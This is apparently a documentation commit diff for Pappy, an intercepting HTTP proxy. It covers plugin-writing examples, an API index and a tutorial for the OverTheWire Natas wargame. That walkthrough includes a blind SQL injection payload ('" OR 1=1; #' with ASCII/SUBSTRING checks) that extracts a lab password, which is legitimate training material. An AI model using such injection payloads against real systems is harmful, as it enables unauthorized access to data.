Then restart and run::
$ pappy -l
Temporary datafile is /tmp/tmp3J97rE
Proxy is listening on port 8000
pappy> hello
alice allie mallory sarah slagathor
pappy> hello allie
Hello, allie!
pappy>
You can't see it, but I hit tab twice after typing hello to get the completions to appear.
Adding Help
-----------
Now let's say we want to add some help to the command so that when the user runs ``help hello`` they get something useful. To do that, just add a docstring to your function::
import shlex
_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
def hello_world(line):
"""
Say hello to the world. Usage: hello [name]
"""
if line:
args = shlex.split(line)
print 'Hello, %s!' % (', '.join(args))
else:
print "Hello, world!"
def put_on_rope_and_wizard_hat(line):
if line:
print '%s puts on their robe and wizard hat' % line
else:
print 'I put on my robe and wizard hat'
def complete_hello_world(text, line, begidx, endidx):
return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'hello': (hello_world, complete_hello_world),
'wizard_hat': (put_on_rope_and_wizard_hat, None),
})
cmd.add_aliases([
('hello', 'hlo'),
('wizard_hat', 'wh'),
])
Using defer.inlineCallbacks With a Command
------------------------------------------
.. note::
If you are using inlineCallbacks, you can't use any functions which are blocking versions of async functions. For example, you cannot use :func:`pappyproxy.http.Request.save` and must instead use :func:`pappyproxy.http.Request.async_deep_save`.
.. note::
This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.
Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function::
import shlex
from pappyproxy.console import load_reqlist
def print_hosts(line):
args = shlex.split(line)
reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right?
for r in reqs:
print 'The host for request %s is: %s' % (r.reqid, r.host)
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'print_hosts': (print_hosts, None),
})
cmd.add_aliases([
])
And we run it::
pappy> print_hosts 1
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks
stop = self.onecmd(statement)
File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 871, in onecmd
stop = func(statement)
File "/home/supahacker/pappy/pappyproxy/console.py", line 15, in catch
func(*args, **kwargs)
File "/home/supahacker/.pappy/plugins/hosts.py", line 7, in print_hosts
for r in reqs:
TypeError: iteration over non-sequence
iteration over non-sequence
pappy>
Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this::
import shlex
from pappyproxy.console import load_reqlist
from twisted.internet import defer
@defer.inlineCallbacks
def print_hosts(line):
args = shlex.split(line)
reqs = yield load_reqlist(args[0])
for r in reqs:
print 'The host for request %s is: %s' % (r.reqid, r.host)
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'print_hosts': (print_hosts, None),
})
cmd.add_aliases([
])
However, the console assumes that any functions it calls will be blocking. As a result, we need to add the ``crochet.wait_for`` wrapper::
import shlex
import crochet
from pappyproxy.console import load_reqlist
from twisted.internet import defer
@crochet.wait_for(timeout=None)
@defer.inlineCallbacks
def print_hosts(line):
args = shlex.split(line)
reqs = yield load_reqlist(args[0])
for r in reqs:
print 'The host for request %s is: %s' % (r.reqid, r.host)
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'print_hosts': (print_hosts, None),
})
cmd.add_aliases([
])
And now we're good! If you run it without the crochet wrapper, it may still work. However, since the console assumes any functions it calls will be blocking, not having the wrapper could lead to weird errors.
Plugin API
==========
There are also some useful functions that you can use to interact with the request history and the context. It's somewhat limited for now, but for now you can at least look through history and create/send new requests. Hopefully the API will expand as people find themselves wanting to do new things. That means **if you're writing a plugin, let me know and I'll add any APIs you need**. For now at least, plugins will let you maintain state over the course of the session and let you define commands.
The best way to learn what you can do is to go through the :ref:`pappyproxy-package` and look at all the available functions.
API Functions
-------------
See :mod:`pappyproxy.plugin` for docs on all the functions you can use. You can also use any of the functions provided for writing macros (and vice-versa).
Storing Data on Disk
--------------------
Unfortunately, you're on your own if you want to store plugin specific stuff on disk. It's also important that you store any data that is specific to a project in the same directory as the data file. This is to make sure that if you encrypt your project folder, you can be sure that no sensitive data about the test can be found anywhere else. The only time you should store anything outside of the current directory is to store global plugin settings, and even then it would probably be better to parse options from ``config.config_dict``. Pappy doesn't even store data outside of the project directory except for its CA certificates.
However, if your plugin is a special snowflake that needs to store unencrypted, global settings, you should create a directory for your plugin in ``{config.DATA_DIR}/plugindata`` and put your files there. But again, avoid this if you can.
.. note::
Any project-specific data (ie anything that contains info about requests) should be stored in the project directory unless you have a really really good reason. This is because it must be possible to secure any sensitive data by encrypting the project folder and storing data outside of the directory will add complications.
.. warning::
Do not modify the data file schema. There is a good chance the schema will break in future versions of Pappy.
Storing Custom Request Metadata
-------------------------------
:class:`pappyproxy.http.Request` objects have a ``plugin_data`` attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use :func:`pappyproxy.http.Request.get_plugin_dict` to get a dictionary for a specific name. It will create an entry for that name if it doesn't exist. I also suggest defining a function plugin-wide for getting the plugin's data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.
.. note::
You will need to save the request using something like :func:`pappyproxy.http.Request.save` or :func:`pappyproxy.http.Request.async_deep_save` in order to store the changes in the data file.
Here is an example plugin for storing the user-agent (if it exists) in the ``plugin_data`` dict of a request under the key ``agent``::
import crochet
import shlex
from twisted.internet import defer
from pappyproxy.console import load_reqlist
from pappyproxy.plugin import main_context
from pappyproxy.util import PappyException
DATA_KEY = 'agent'
def get_data(r):
return r.get_plugin_dict(DATA_KEY)
@crochet.wait_for(timeout=None)
@defer.inlineCallbacks
def update_agent_metadata(line):
for r in main_context().active_requests:
if 'user-agent' in r.headers:
get_data(r)['agent'] = r.headers['user-agent']
yield r.async_deep_save()
@crochet.wait_for(timeout=None)
@defer.inlineCallbacks
def view_agent(line):
args = shlex.split(line)
reqs = yield load_reqlist(args[0])
for r in reqs:
if 'agent' in get_data(r):
print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent'])
else:
print 'Request %s has no user agent data' % r.reqid
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'agent_update': (update_agent_metadata, None),
'view_agent': (view_agent, None),
})
cmd.add_aliases([
])
Useful Functions
----------------
* Load a request by id: :func:`pappyproxy.http.Request.load_request`
* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string`
Built In Plugins As Examples
============================
Built In Plugins
----------------
All the commands in Pappy are implemented as plugins. I have done what I could to avoid using internal functions as much as I could, but there are still some instances where I had to implement an internal function in order to get the functions I needed. However, you can still look them over to see how things are structured and see some examples of semi-complicated plugins.
Interceptor and Repeater
------------------------
Pappy's interceptor and repeater are fully implemented as a plugin. It defines an intercepting macro that handles saving then editing messages and commands that read those files and edit them. It relies on Twisted to switch between the macro handling the request and the command modifying it, so if you want to make something similar, you'll have to learn how to use deferreds.

156
docs/source/pappyproxy.rst
View file

@ -1,45 +1,43 @@
pappyproxy package
==================
..
Subpackages
-----------
Subpackages
-----------
.. toctree::
.. toctree::
pappyproxy.schema
pappyproxy.templates
pappyproxy.tests
pappyproxy.vim_repeater
pappyproxy.plugins
pappyproxy.schema
pappyproxy.templates
pappyproxy.tests
pappyproxy.vim_repeater
Submodules
----------
Submodules
----------
..
pappyproxy.comm module
----------------------
pappyproxy.comm module
----------------------
.. automodule:: pappyproxy.comm
:members:
:noindex:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.comm
:members:
:undoc-members:
:show-inheritance:
pappyproxy.config module
------------------------
pappyproxy.config module
------------------------
.. automodule:: pappyproxy.config
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.config
:members:
:undoc-members:
:show-inheritance:
pappyproxy.console module
-------------------------
pappyproxy.console module
-------------------------
.. automodule:: pappyproxy.console
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.console
:members:
:undoc-members:
:show-inheritance:
pappyproxy.context module
-------------------------
@ -65,69 +63,67 @@ pappyproxy.iter module
:undoc-members:
:show-inheritance:
..
pappyproxy.macros module
------------------------
pappyproxy.macros module
------------------------
.. automodule:: pappyproxy.macros
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.macros
:members:
:undoc-members:
:show-inheritance:
pappyproxy.mangle module
------------------------
pappyproxy.pappy module
-----------------------
.. automodule:: pappyproxy.mangle
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.pappy
:members:
:undoc-members:
:show-inheritance:
pappyproxy.pappy module
-----------------------
pappyproxy.plugin module
------------------------
.. automodule:: pappyproxy.pappy
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.plugin
:members:
:undoc-members:
:show-inheritance:
pappyproxy.proxy module
-----------------------
pappyproxy.proxy module
-----------------------
.. automodule:: pappyproxy.proxy
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.proxy
:members:
:undoc-members:
:show-inheritance:
pappyproxy.repeater module
--------------------------
pappyproxy.repeater module
--------------------------
.. automodule:: pappyproxy.repeater
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.repeater
:members:
:undoc-members:
:show-inheritance:
pappyproxy.session module
-------------------------
pappyproxy.session module
-------------------------
.. automodule:: pappyproxy.session
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.session
:members:
:undoc-members:
:show-inheritance:
pappyproxy.util module
----------------------
pappyproxy.util module
----------------------
.. automodule:: pappyproxy.util
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy.util
:members:
:undoc-members:
:show-inheritance:
..
Module contents
---------------
Module contents
---------------
.. automodule:: pappyproxy
:members:
:undoc-members:
:show-inheritance:
.. automodule:: pappyproxy
:members:
:undoc-members:
:show-inheritance:

16
docs/source/pappyproxy.schema.rst
View file

@ -28,6 +28,22 @@ pappyproxy.schema.schema_3 module
:undoc-members:
:show-inheritance:
pappyproxy.schema.schema_4 module
---------------------------------
.. automodule:: pappyproxy.schema.schema_4
:members:
:undoc-members:
:show-inheritance:
pappyproxy.schema.schema_5 module
---------------------------------
.. automodule:: pappyproxy.schema.schema_5
:members:
:undoc-members:
:show-inheritance:
pappyproxy.schema.update module
-------------------------------

93
docs/source/tutorial.rst
View file

@ -1,13 +1,9 @@
The Pappy Proxy Tutorial
************************
Table of Contents
=================
.. toctree::
tutorial
.. contents:: Table of Contents
:local:
Getting Set Up
==============
@ -40,9 +36,9 @@ That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
$ cd natas
Copying default config to ./config.json
Proxy is listening on port 8000
itsPappyTime>
pappy>
If you look at what's in the file, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
If you look at what's in the directory, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
* ``config.json`` stores settings for the proxy
@ -55,13 +51,13 @@ In order to intercept HTTPS requests, you'll need to add a CA cert to your brows
To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
itsPappyTime> gencerts
pappy> gencerts
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
Generating private key... Done!
Generating client cert... Done!
itsPappyTime>
pappy>
The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
@ -107,7 +103,7 @@ Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your br
/pappynatas/ $ pappy -l
Temporary datafile is /tmp/tmp5AQBrH
Proxy is listening on port 8000
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 --
7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 --
@ -117,7 +113,7 @@ Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your br
3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 --
2 GET vitaly.sexy / 200 OK 0 1201 0.21 --
1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 --
itsPappyTime> quit
pappy> quit
Deleting temporary datafile
Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
@ -129,8 +125,8 @@ Setting the Scope
-----------------
The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
itsPappyTime> filter host containsr "natas\.labs\.overthewire\.org$"
itsPappyTime> scope_save
pappy> filter host containsr "natas\.labs\.overthewire\.org$"
pappy> scope_save
What these commands do:
@ -151,7 +147,7 @@ First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the d
Natas 1
-------
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The two commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
* ``vfq <reqid>`` prints the full request of a request you specify
@ -159,7 +155,7 @@ Haha! This is the same as natas0, but they got tricky and shut off right-clickin
So to solve natas1, we'll want to view the full response to our request to the page::
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -177,7 +173,7 @@ So to solve natas1, we'll want to view the full response to our request to the p
3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
itsPappyTime> vfs 14
pappy> vfs 14
HTTP/1.1 200 OK
Date: Fri, 18 Dec 2015 19:47:21 GMT
@ -197,7 +193,7 @@ So to solve natas1, we'll want to view the full response to our request to the p
... snip ...
itsPappyTime>
pappy>
Yay!
@ -205,7 +201,7 @@ Natas 2
-------
When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -213,7 +209,7 @@ When you visit this page, you get a message saying "There is nothing on this pag
27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
... snip ...
itsPappyTime> vfs 27
pappy> vfs 27
HTTP/1.1 200 OK
... snip ...
@ -225,7 +221,7 @@ When you visit this page, you get a message saying "There is nothing on this pag
</div>
</body></html>
itsPappyTime>
pappy>
So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
@ -282,7 +278,7 @@ While we can't find all the passwords with one filter, if we remember how we got
For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -309,8 +305,8 @@ For natas0 and natas1, the responses had a phrase like "the password is abc123".
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
itsPappyTime> f body ct password
itsPappyTime> ls
pappy> f body ct password
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
@ -325,7 +321,7 @@ For natas0 and natas1, the responses had a phrase like "the password is abc123".
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
itsPappyTime>
pappy>
It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
@ -341,7 +337,7 @@ To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a
In this case, we only want to intercept requests, so we'll run ``ic req``::
itsPappyTime> ic req
pappy> ic req
And we'll get a screen that says something like::
@ -405,14 +401,15 @@ For this one, when you view the source you'll notice they're taking value you en
Use ``:wq!`` to quit the repeater without having to save buffers
.. note::
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key ``here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>``. By default <leader> is bound to ``\``.
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key `here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>`_. By default <leader> is bound to ``\``.
Submit a request then open that request in the repeater.::
itsPappyTime> ls
Submit a request then open that request in the repeater::
pappy> ls
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
itsPappyTime> rp 196
pappy> rp 196
Vim will open up in a vertical split with the request on the left and the response on the right.
@ -434,7 +431,7 @@ Commands we'll learn:
So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
@ -445,9 +442,9 @@ So the first thing we'll do is submit a request to have a base request that we c
218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 --
... snip ...
itsPappyTime> gma brute 224
pappy> gma brute 224
Wrote script to macro_brute.py
itsPappyTime>
pappy>
Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this::
@ -513,15 +510,15 @@ To start out simple, we'll write a macro that lets us check a username from the
Then to run it::
itsPappyTime> lma
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute admin
pappy> rma brute admin
admin is not a user
itsPappyTime> rma brute fooooo
pappy> rma brute fooooo
fooooo is not a user
itsPappyTime> rma brute natas16
pappy> rma brute natas16
natas16 is a user!
itsPappyTime>
pappy>
Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
@ -535,11 +532,11 @@ So to escape it, we use a payload like::
In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
itsPappyTime> rma brute "foo\" OR 1=1;"
pappy> rma brute "foo\" OR 1=1;"
foo" OR 1=1; is a user!
itsPappyTime> rma brute "fooooooo\" OR 1=1;"
pappy> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
itsPappyTime>
pappy>
Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
@ -598,9 +595,9 @@ Alright, let's update our macro to find the first character of the password.::
And when we run it...::
itsPappyTime> lma
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute
pappy> rma brute
Trying a...
Trying b...
Trying c...
@ -610,7 +607,7 @@ And when we run it...::
Trying V...
Trying W...
W is the first char!
itsPappyTime>
pappy>
We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
@ -685,9 +682,9 @@ We find the first character! Woo! Next we just have to do this for each position
Then we run it::
itsPappyTime> lma
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute
pappy> rma brute
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
W is char 1!
The password so far is W
@ -713,7 +710,7 @@ Then we run it::
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
itsPappyTime>
pappy>
Boom! There it is!